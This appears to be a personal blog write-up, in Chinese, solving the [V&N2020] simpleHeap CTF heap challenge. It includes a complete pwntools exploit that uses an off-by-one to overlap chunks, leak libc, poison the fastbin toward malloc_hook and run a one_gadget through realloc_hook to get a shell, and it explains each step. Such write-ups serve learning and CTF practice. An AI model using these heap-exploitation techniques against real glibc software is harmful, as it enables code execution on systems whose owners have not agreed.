Welcome to the Heap world

0x00 前言

题目地址:[V&N2020 公开赛]simpleHeap

听说是一道比较基础的堆题,于是手贱点开了…这就是堆吗

wxl,断断续续看了差不多两天,不能说会做了,勉强搞明白了原理,并且手动调试了一遍

😲权当见见世面吧,这里也通过写博客快速梳理一遍。


今天开了pwnable的号嘿嘿,以后题目的wp就写在pwnable了

点击左下角的栈溢出就可以访问了(/▽\)


0x01 分析程序

经典菜单,直接IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 savedregs; // [rsp+10h] [rbp+0h]

sub_A39();
puts("Welcome to V&N challange!");
puts("This's a simple heap for you.");
while ( 1 )
{
Menu(); //打印菜单
put_in(); //输入选项 (atoi)
switch ( &savedregs )
{
case 1u:
Add();
break;
case 2u:
Edit();
break;
case 3u:
Show();
break;
case 4u:
Delete();
break;
case 5u:
exit(0);
return;
default:
puts("Please input current choice.");
break;
}
}
}

函数名是我改过的,之前sub_213!@#$%^实在太难读!

然后分别看看4个操作都干了什么

Add():根据传入的size malloc内存,heap_pointer是 heap指针,heap_size保存堆块的size

Edit():通过输入idx,修改内存数据,但是存在一个小漏洞off by one

进入sub_C39函数如下,仅多溢出一个字节,但是威力巨大,下面慢慢看

Show(): 很简单,输出idx的内容,似乎没什么有用的点

Delete():free,该置0的指针全部置0,嗯很严谨,UAF不能用了


0x02 exp

这就上exp了?

先把别的大佬的exp放上来,然后慢慢分析

exp我改过,题目libc2.23和我本机的2.23还不一样,偏移差了很多,害我调了好长好长时间

原exp在我本地实在跑不出来,无奈只好改一改

以下exp以我的libc为准:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#coding=utf-8
from pwn import *
context.log_level='debug'
sh=process("./heap")
libc=ELF("真·libc2.23")
#sh=remote('node3.buuoj.cn',25310)

def add(size,content):
sh.recvuntil("choice: ")
sh.sendline(str(1))
sh.recvuntil("size?")
sh.sendline(str(size))
sh.recvuntil("content:")
sh.send(content)
def edit(idx,content):
sh.recvuntil("choice: ")
sh.sendline(str(2))
sh.recvuntil("idx?")
sh.sendline(str(idx))
sh.recvuntil("content:")
sh.sendline(content)
sh.recvuntil("Done!")
def show(idx):
sh.recvuntil("choice: ")
sh.sendline(str(3))
sh.recvuntil("idx?")
sh.sendline(str(idx))
def delete(idx):
sh.recvuntil("choice: ")
sh.sendline(str(4))
sh.recvuntil("idx?")
sh.sendline(str(idx))
sh.recvuntil("Done!")

add(0x18,'a'*0x18) #idx0
add(0x10,'b'*0x10) #idx1
add(0x10,'c'*0x10) #idx2

edit(0,'a'*0x18+p8(0x41))
delete(1)
add(0x30,'e'*0x30) #idx1
#leak libc
edit(1,'a'*0x18+p64(0x91))#chunk2.size:0x91
add(0x20,p64(0)*4) #idx3
add(0x30,p64(0)*4+p64(0x90)+p64(0))#idx4
add(0x18,"A"*0x10) #idx5
add(0x10,'a'*0x18) #idx6
add(0x60,'b'*0x10+p64(0x40)+p64(0x21)) #idx7
add(0x60,'c'*0x10) #idx8
add(0x10,'c'*0x10) #idx9

edit(5,'d'*0x18+p8(0x41))
delete(6)
add(0x30,'a'*0x18) #idx6

delete(2) #释放到unsorted bin里
delete(1)
add(0x30,'e'*0x20) #idx1
show(1) #leak main_arena+88

libc_base=u64(sh.recv(38)[-6:].ljust(8,"\x00"))-0x68-0x3c4b10#malloc
#0x3c4b78
print "libc_base:" + hex(libc_base)
one_daget_offset=0x4527a
one_daget=libc_base+one_daget_offset

delete(8)
delete(7)#fast bin chunk7>chunk8
edit(6,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed)) #malloc_hook- 0x23
add(0x60,'B'*0x10)#get idx7

payload = p8(0)*11
payload += p64(one_daget) #realloc_hook :one_gaget
payload+= p64(libc_base+0x84710+0x0c)#malloc_hook :realloc+0xc
#0x84710
add(0x60,payload) #get idx8
#gdb.attach(sh)
sh.recvuntil("choice: ")#触发漏洞
sh.sendline(str(1))
sh.recvuntil("size?")

sh.sendline(str(0x10))
sh.interactive()

从第一行开始看:

先申请三个堆块,利用idx0 off by one修改idx1的size域

1
2
3
4
add(0x18,'a'*0x18)	#idx0
add(0x10,'b'*0x10) #idx1
add(0x10,'c'*0x10) #idx2
edit(0,'a'*0x18+p8(0x41))

idx1的size已经变为0x41,此时将其释放,再申请回来,便与idx2堆块产生重叠。

1
2
delete(1)
add(0x30,'e'*0x30) #idx1

产生了overlaping,那么接下来开始操作了,

通过编辑idx1,将idx2的size域改为0x91,

1
2
3
4
5
6
7
8
edit(1,'a'*0x18+p64(0x91))#idx2.size:0x91
add(0x20,p64(0)*4) #idx3
add(0x30,p64(0)*4+p64(0x90)+p64(0))#idx4
add(0x18,"A"*0x10) #idx5
add(0x10,'a'*0x18) #idx6
add(0x60,'b'*0x10+p64(0x40)+p64(0x21)) #idx7
add(0x60,'c'*0x10) #idx8
add(0x10,'c'*0x10) #idx9

到这,堆空间长这样,在我看来,3,4堆块没什么用,不知道大佬有什么用意,可能就是为了开辟0x90的空间吧。

这时将chunk2free掉,就会进入unsorted bin,当unsorted bin里只有一个chunk时,该chunk的fd和bk指针均指向unsorted bin本身,而unsorted bin本身的地址与libc的基址之间的偏移是固定的,所以我们可以借此来泄露libc 基址。

1
2
3
4
5
6
7
8
9
10
delete(2)  #释放到unsorted bin里
delete(1)
add(0x30,'e'*0x20) #idx1
show(1) #leak main_arena+88

libc_base=u64(sh.recv(38)[-6:].ljust(8,"\x00"))-0x68-0x3c4b10#malloc
#0x3c4b78
print "libc_base:" + hex(libc_base)
one_daget_offset=0x4527a
one_daget=libc_base+one_daget_offset

这里delete(1)是因为chunk2的size区域有00字段,导致在调用show函数的时候,puts函数会造成截断无法输出unsorted bin的地址,尝试使用edit函数来修改chunk2的size区域,但是edit函数会将回车替换成00,所以我们这里先释放chunk1,然后再申请,add函数在输入内容的时候不会把回车修改为00字符。

接着便可以计算libc基址和one_gadget了

5,6,7,8堆块和上面基本类似,堆块5off by one修改堆块6的size域,然后free、malloc6,使得6与7产生堆块重叠,(在我看来,可以把这几个堆块合并到上面,不要3,4了),使得后面6可以修改到7的fd指针。这里malloc chunk9是为了在释放chunk8的时候不与top chunk合并。

1
2
3
4
delete(8)
delete(7)#fast bin chunk7>chunk8
edit(6,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed)) #malloc_hook- 0x23
add(0x60,'B'*0x10)#get idx7

先释放chunk8,再释放chunk7,使fast bin 链表结构为chunk7->fd=chunk8 ,修改chunk6来修改chunk7的fd指针为fake_chunk的指针。然后,先malloc 0x60得到chunk7,再次malloc 0x60,系统会认为chunk7->fd指向的地址为空闲的chunk,便会将fake_chunk指向内存空间返还给我们,同时将payload写入。

还有一个之前我比较迷得地方,为什么fake_chunk要申请到malloc_hook- 0x23这样一个位置

原因两点:1.首先要考虑在hook附近,以便利用,这里realloc_hook、malloc_hook都可以利用。

     2.放一张图立马就知道了

这里没有对齐,我手动对齐一下

1
2
3
4
0x7f763bbe2aed:0x763bbe1260000000 0x000000000000007f
0x7f763bbe2afd:0x763b8a3ea0000000 0x763b8a3a7000007f
0x7f763bbe2b0d:0x000000000000007f 0x0000000000000000
0x7f763bbe2b1d:0x0000000000000000 0x0000000000000000

我的天,典型的chunk结构

之前一直不懂为什么要在这里构造,我查看内存都是0x28、0x20这种对齐的格式,实在想不通的时候,我直接查看了0x23,看到这张图我恍然大悟。。

接着就可以构造payload了

1
2
3
4
5
payload = p8(0)*11
payload += p64(one_daget) #realloc_hook :one_gaget
payload+= p64(libc_base+0x84710+0x0c)#malloc_hook :realloc+0xc
#0x84710
add(0x60,payload) #get idx8

由于fake_chunk处于一个非对齐的格式,所以先填上11个\x00,之后将realloc_hook的地址填上

one_gaget,在malloc_hook的位置填上realloc+0xc的地址。

另一个重点:为什么不直接把one_gaget填到malloc_hook处呢?

这是由于one_gadget的限制,

以第二个og为例,必须保证此时的[rsp+0x30] == NULL ,而有时程序并非满足此条件,那么该怎么办呢?

需要malloc_hook与realloc相互配合,利用realloc函数中大量的push操作,来达到新的rsp+0x30 ==null的目的,具体实现参考这个师傅的讲解,是个高手╰( ̄ω ̄o)。

这一步真的是最狗血的一步,调了好长时间,终于调出来了

可以看到现在的rsp+0x30处并不是null,而在它偏移0x30的地方就有一个0,那么就可以通过跳过realloc的6个push来使之后的rsp抬高0x30,之后就可以跳到realloc_hook来执行og了

最后需要1选项来触发malloc,如下

1
2
3
4
5
sh.recvuntil("choice: ")#触发漏洞
sh.sendline(str(1))
sh.recvuntil("size?")
sh.sendline(str(0x10))
sh.interactive()

过程:

调用malloc函数—->判断是否有malloc_hook,有则调用之—->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行—->执行realloc函数时,会判断是否有realloc_hook,有则调用之—->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。

image-20200811205817134

这样就成功拿到shell了

0x03 小结

堆题太灵活,必须要熟练掌握的知识太多了,现在水平太菜,这几天的夏令营课实在听不下去,为什么我感觉大佬讲的基础知识都那么深奥…

唯一的收获就是装了新工具2333333

也没啥写了,等以后想起来有什么补充的再回来添吧。